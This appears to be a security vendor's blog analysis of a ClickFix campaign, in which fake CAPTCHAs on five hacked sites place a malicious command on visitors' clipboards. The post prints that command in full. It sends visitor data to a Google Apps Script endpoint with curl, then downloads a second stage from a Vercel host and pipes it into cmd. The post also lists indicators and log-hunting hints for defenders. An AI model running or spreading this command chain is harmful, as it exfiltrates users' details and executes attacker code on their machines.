The ClickFix beacon: a fake CAPTCHA reports you before the download.
Most ClickFix commands download malware and run it. This one first sends a short report about you to a small script hosted on Google, then downloads the next step. Five hacked websites served it, and all five report to the same place.
In short
- 5 hacked websites put the same kind of command on the clipboard of our research browsers on 5 November.
- Before anything else, the command sends an id, the visitor's time zone and language, the Windows version and the address of the hacked site to one Google Apps Script project. Then it downloads a second step from a site hosted on Vercel and runs it.
- The same project address on all five sites means one operator behind them. Four of the five also read the same smart contract.
- Neither Google nor Vercel can be blocked by a company. What gives the attack away is the shape of the command, and that is what ByteMantle recognises.
The command
The fake "Verify you are human" box asks the visitor to press Windows + R and paste. This is what the page put on the clipboard (the visitor's details shortened, the hacked site replaced, the hosts defanged):
cmd.exe /c "curl.exe -sL
-d "id=…" -d "location=…" -d "siteUrl=https://[hacked site]/"
-d "os=win11" -d "lastVisitAt=2026-11-05T13:17:58Z" -d "lastShellAt=2026-11-05T13:17:58Z"
"https://script.google[.]com/macros/s/AKfycbzs0vQR…/exec"
& curl.exe -s https://script-six-tawny.vercel[.]app/win -L | cmd"It does two things, one after the other:
- The report.
curl.exe, a download tool built into Windows 10 and 11, sends six values to a Google Apps Script web app: a random id for this visit, the visitor's time zone and browser language, the address of the hacked site, the Windows version, and two times. - The download. It then fetches a text from
script-six-tawny.vercel[.]app/winand hands it straight to the Windows command prompt, which runs it.
No PowerShell, no file saved to disk by the command itself: only two tools every Windows computer has.
What the report is for
We did not run the command, so we do not know what the script on Google does with the report. What the fields allow is clear enough:
- Counting which hacked site works. The address of the hacked site travels with every report, so the operator can see which of their sites bring visitors who paste.
- Choosing the next step. The Windows version, time zone and language are what an attacker needs to serve a different payload, or none, to different visitors.
- Recognising a visitor who comes back. The names of the two times (
lastVisitAt,lastShellAt) suggest the page remembers when a visitor last came and last received a command; on our first visits both were simply the moment of the visit. Such fields let an operator avoid showing the lure twice to the same person, or to a researcher who keeps coming back.
The page computed all of this in the browser and wrote it into the command, before the visitor pasted anything. The report only travels if the visitor runs the command.
Five sites, one operator
A Google Apps Script web app has a long address that is unique to one project. All five hacked sites used the same one:
script.google[.]com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/execAll five also download their second step from the same Vercel address. Four of them read their lure from the same smart contract on Polygon, 0xf70730a4e5b89b6c6e02edaed582badf6465e9d9 (EtherHiding). The fifth showed the same lure and the same command without a contract read we could see.
The five sites themselves have nothing in common: a news site, a school and company websites, on different domain endings. Their link is the attacker's project, and the ByteMantle console's investigation graph draws exactly that kind of link for your own browsers.
Why blocking the addresses does not help
- Google and Vercel are used by everyone. No company can block
script.google.comor everyvercel.appsite without breaking work, and the attacker's project is one address among millions. - A block list has to wait for a report. Protection that depends on lists can only act once someone has seen and reported the project address or the Vercel site. The five hacked sites are real businesses that no list had a reason to suspect.
- The project can be replaced in minutes. A new Apps Script deployment gets a new address; the hacked sites only need the new one.
Lists still help, and ByteMantle uses them too. But the part that stops this attack is not about addresses.
What ByteMantle recognises
On all five sites the ByteMantle extension recognised the command when the page put it on the clipboard: the Windows command prompt chaining a download into a second command, written by a web page for the Run box. It does not matter which service the command talks to. ByteMantle replaces such a command with a harmless message before it can be pasted, and the report never leaves the computer.
On four of the sites it also saw the page read the smart contract, and on all five the fake CAPTCHA itself, from the first visit.
What to do
- Security teams: look in your logs for
curl.exesending form data toscript.google.com/macros/, and forcurl.exe … | cmd. Legitimate software rarely does either from a user's session. - Google Apps Script and Vercel users: nothing to do; the abuse is of the platforms, not of your projects.
- Everyone: no real website ever asks you to press Windows + R or paste something to prove you are human. Already pasted? What to do now.
Indicators
| Indicator | What it is |
|---|---|
script.google[.]com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/exec | Google Apps Script web app that receives the report |
script-six-tawny.vercel[.]app/win | second step, run by the command prompt |
0xf70730a4e5b89b6c6e02edaed582badf6465e9d9 | Polygon smart contract read by four of the five sites |
The sites that served the lure are in the downloadable lists of the ClickFix report, each with the date we saw it.
How we collect this
We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands, so nothing was sent to the attacker's project from our browsers. The command text comes from what the extension recorded when the page wrote it to the clipboard; the values that describe our own research browsers are left out. What customers' browsers see is never part of our research.
Read more
Stop these attacks before anything runs.
Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it.